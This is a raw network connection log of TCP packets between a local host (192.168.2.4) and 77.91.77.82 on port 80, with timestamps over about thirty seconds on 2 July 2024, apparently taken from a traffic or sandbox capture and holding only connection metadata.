Jul 2, 2024 15:28:26.120693922 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.120764971 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.121125937 CEST	80	49878	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.121191025 CEST	49878	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.121296883 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.126080036 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.843972921 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.844814062 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.847426891 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.847873926 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.852494955 CEST	80	49879	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.852634907 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:26.852752924 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.852752924 CEST	49879	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.852936983 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:26.861737967 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:27.552028894 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:27.552089930 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.660733938 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.661175013 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.666060925 CEST	80	49880	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:27.666086912 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:27.666121006 CEST	49880	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.666186094 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.666460991 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:27.671302080 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:28.382908106 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:28.383799076 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.386655092 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.386655092 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.391498089 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:28.391761065 CEST	80	49881	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:28.392297983 CEST	49881	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.392297983 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.392450094 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:28.397213936 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:29.159663916 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:29.159821987 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.269149065 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.269157887 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.475039959 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:29.475106001 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.475425959 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.479675055 CEST	80	49882	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:29.479748964 CEST	49882	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:29.482609034 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.188009977 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.188081026 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.192640066 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.193162918 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.197668076 CEST	80	49883	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.197705984 CEST	49883	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.197925091 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.197979927 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.198442936 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:30.203202963 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.907454967 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:30.907833099 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.019551039 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.019551992 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.024539948 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.024665117 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.024874926 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.024921894 CEST	80	49884	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.027620077 CEST	49884	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.029761076 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.732012033 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.732069969 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.736478090 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.737057924 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.741576910 CEST	80	49885	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.741626024 CEST	49885	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.741796970 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:31.741861105 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.742158890 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:31.746856928 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:32.432559013 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:32.436189890 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.550380945 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.550395012 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.690797091 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:32.691354036 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:32.691456079 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.691462994 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.691826105 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:32.697273970 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:33.413548946 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:33.413616896 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.416929960 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.417438030 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.422697067 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:33.422769070 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.423258066 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.424012899 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:33.424062967 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:33.429538965 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.134999990 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.135059118 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.254692078 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.255122900 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.259767056 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.259809971 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.259939909 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.260006905 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.260286093 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.265120983 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.964211941 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.964346886 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.967807055 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.968370914 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.972860098 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.972965002 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.973095894 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:34.973239899 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.973536015 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:34.978292942 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:35.682112932 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:35.682179928 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.802809954 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.803555012 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.807944059 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:35.807997942 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.808351994 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:35.808410883 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.809171915 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:35.813967943 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:36.504621983 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:36.504754066 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.509710073 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.509716034 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.514543056 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:36.516522884 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:36.516658068 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.516659021 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.516954899 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:36.522249937 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:37.226532936 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:37.233714104 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.347476006 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.347841978 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.352598906 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:37.352626085 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:37.352648020 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.352735996 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.352969885 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:37.357713938 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.041001081 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.041058064 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.044569016 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.044991970 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.049743891 CEST	80	49893	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.049765110 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.049794912 CEST	49893	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.049848080 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.050028086 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.054815054 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.766239882 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.769942999 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.878638983 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.879079103 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.883724928 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.883927107 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:38.884017944 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.884022951 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.884459019 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:38.889214993 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:39.569355011 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:39.569411039 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.573631048 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.574055910 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.578888893 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:39.578938961 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.579907894 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:39.579969883 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.580246925 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:39.586200953 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:40.278455973 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:40.278522015 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:40.394113064 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:40.394117117 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:40.399059057 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:40.400217056 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:40.400305033 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:40.405160904 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:40.410336018 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:40.411955118 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.145009995 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:41.150566101 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.150566101 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.151753902 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.155998945 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:41.156590939 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:41.159929037 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.159929037 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.163716078 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:41.169070005 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:41.912281990 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:41.912328959 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.019527912 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.019902945 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.024633884 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.024678946 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.024692059 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.024751902 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.024928093 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.029637098 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.750499010 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.750644922 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.755882025 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.755937099 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.760732889 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.760860920 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.761183977 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:42.761214018 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.761307001 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:42.765971899 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:43.540487051 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:43.540595055 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.645334005 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.645682096 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.650415897 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:43.650465965 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.650888920 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:43.650949955 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.651304007 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:43.656088114 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:44.345875978 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:44.350056887 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.353739023 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.353739023 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.360016108 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:44.360404968 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.360404968 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.361217976 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:44.361717939 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:44.365431070 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:45.087754011 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:45.088037014 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.207075119 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.207117081 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.212944031 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:45.213303089 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:45.213387012 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.213402033 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.213586092 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:45.218753099 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.037441015 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.037492990 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.041146040 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.041557074 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.046814919 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.046852112 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.046859026 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.046931982 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.047034979 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.051760912 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.753345966 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.755846977 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.862941027 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.862942934 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.867834091 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.868671894 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.868714094 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:46.868814945 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.868922949 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:46.874603987 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:47.573301077 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:47.573359966 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.577019930 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.577485085 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.582233906 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:47.582285881 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.582458019 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.582505941 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:47.582570076 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:47.587538004 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:48.294192076 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:48.294245005 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.412730932 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.412738085 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.419531107 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:48.419856071 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:48.421916008 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.421916962 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.424731016 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:48.429559946 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.140974045 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.141146898 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.149728060 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.149760962 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.154614925 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.155018091 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.155040979 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.155417919 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.155452013 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:49.160315990 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.968123913 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:49.968184948 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.081196070 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.081459045 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.086266994 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.086335897 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.086493015 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.086528063 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.086577892 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.091301918 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.785605907 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.787837982 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.790549994 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.790549994 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.795387983 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.795663118 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:50.795754910 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.795754910 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.795886993 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:50.800614119 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:51.520688057 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:51.520750046 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.629735947 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.630281925 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.637708902 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:51.637759924 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.637833118 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:51.637887001 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.638123989 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:51.645539045 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:52.323349953 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:52.323402882 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:52.327188969 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:52.327605009 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:52.332425117 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:52.332488060 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:52.332602024 CEST	49912	80	192.168.2.4	77.91.77.82
